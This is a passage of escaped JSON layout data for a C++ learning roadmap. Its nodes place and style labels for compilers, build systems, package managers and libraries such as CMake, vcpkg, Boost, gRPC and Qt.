-15.825412667929704,\n        \"y\": 2359.415195613617\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GCC\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 54,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -15.825412667929704,\n        \"y\": 2359.415195613617\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 54,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"9DDS861RQhuFgpaR2_KeO\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -15.825412667929704,\n        \"y\": 2396.415195613617\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MinGW\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 73,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -15.825412667929704,\n        \"y\": 2396.415195613617\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 73,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"jVXFCo6puMxJ_ifn_uwim\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 2515.5128020469147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Build Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h29eJG1hWHa7vMhSqtfV2\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 2515.5128020469147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ysnXvSHGBMMozBJyXpHl5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 2614.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CMAKE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 2614.6661606275225\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t6rZLH7l8JQm99ax_fEJ9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 2667.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Makefile\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 2667.6661606275225\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HkUCD5A_M9bJxJRElkK0x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 2720.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ninja\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 2720.6661606275225\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h29eJG1hWHa7vMhSqtfV2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -30.235552880907136,\n        \"y\": 2515.5128020469147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Package Managers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -30.235552880907136,\n        \"y\": 2515.5128020469147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PKG5pACLfRS2ogfzBX47_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -25.855916380130566,\n        \"y\": 2608.8378646515134\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vcpkg\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"g0s0F4mLV16eNvMBflN2e\",\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 97,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 97,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -25.855916380130566,\n        \"y\": 2608.8378646515134\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 97,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g0s0F4mLV16eNvMBflN2e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.76444711909286,\n        \"y\": 2660.9355066535127\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NuGet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.76444711909286,\n        \"y\": 2660.9355066535127\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ky_UqizToTZHC_b77qFi2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -25.855916380130566,\n        \"y\": 2661.8378646515134\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Conan\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PKG5pACLfRS2ogfzBX47_\",\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 97,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 97,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -25.855916380130566,\n        \"y\": 2661.8378646515134\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 97,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3ehBc2sKVlPj7dn4RVZCH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 76.76444711909286,\n        \"y\": 2607.9355066535127\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Spack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"g0s0F4mLV16eNvMBflN2e\",\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 76.76444711909286,\n        \"y\": 2607.9355066535127\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4kkX5g_-plX9zVqr0ZoiR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 245.31805846187558,\n        \"y\": 2515.5128020469147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Working with Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.31805846187558,\n        \"y\": 2515.5128020469147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5mNqH_AEiLxUmgurNW1Fq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.31805846187558,\n        \"y\": 2432.907835806348\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Library Inclusion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 245.31805846187558,\n        \"y\": 2432.907835806348\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sLVs95EOeHZldoKY0L_dH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.31805846187558,\n        \"y\": 2379.907835806348\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Licensing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 245.31805846187558,\n        \"y\": 2379.907835806348\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1d7h5P1Q0RVHryKPVogQy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2436.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Boost\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2436.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Eq3TKSFJ2F2mrTHAaU2J4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 649.5179751445827,\n        \"y\": 2437.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"OpenCV\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 649.5179751445827,\n        \"y\": 2437.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nOkniNXfXwPPlOEJHJoGl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2489.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"POCO\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2489.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jpMCIWQko7p3ndezYHL4D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2542.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"protobuf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2542.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"621J9W4xCofumNZGo4TZT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2595.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"gRPC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2595.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j_eNHhs0J08Dt7HVbo4Q2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 649.5179751445827,\n        \"y\": 2490.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Tensorflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 649.5179751445827,\n        \"y\": 2490.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tEkvlJPAkD5fji-MMODL7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 649.5179751445827,\n        \"y\": 2596.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"pybind11\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 649.5179751445827,\n        \"y\": 2596.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q64qFxoCrR38RPsN2lC8x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 649.5179751445827,\n        \"y\": 2543.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"spdlog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 649.5179751445827,\n        \"y\": 2543.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GGZJaYpRENaqloJzt0VtY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 649.5179751445827,\n        \"y\": 2649.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"opencl\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 649.5179751445827,\n        \"y\": 2649.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1CqQgmHDeo1HlPdpUJS7H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2648.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"fmt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2648.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"et-dXKPYuyVW6eV2K3CM8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2703.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ranges_v3\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 543.5766878818748,\n        \"y\": 2703.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YkaqIkt2bGBsrRwOFQpV4\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 609.5766878818748,\n        \"y\": 2392.9355066535127\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Libraries\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 84,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 609.5766878818748,\n        \"y\": 2392.9355066535127\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 84,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"MrAM-viRaF8DSxB6sVdD9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 273.5766878818748,\n        \"y\": 2700.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"gtest / gmock\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"88pr5aN7cctZfDVVo-2ns\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 273.5766878818748,\n        \"y\": 2700.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gAZ9Dqgj1_UkaLzVgzx1t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 273.5766878818748,\n        \"y\": 2753.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Qt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 64,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 273.5766878818748,\n        \"y\": 2753.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 64,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s13jQuaC6gw0Lab3Cbyy6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 342.86058049826306,\n        \"y\": 2753.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Catch2\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 342.86058049826306,\n        \"y\": 2753.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O0lVEMTAV1pq9sYCKQvh_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 273.5766878818748,\n        \"y\": 2806.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Orbit Profiler\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"88pr5aN7cctZfDVVo-2ns\",\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 273.5766878818748,\n        \"y\": 2806.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"88pr5aN7cctZfDVVo-2ns\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 273.5766878818748,\n        \"y\": 2859.6661606275225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PyTorch C++\",\n        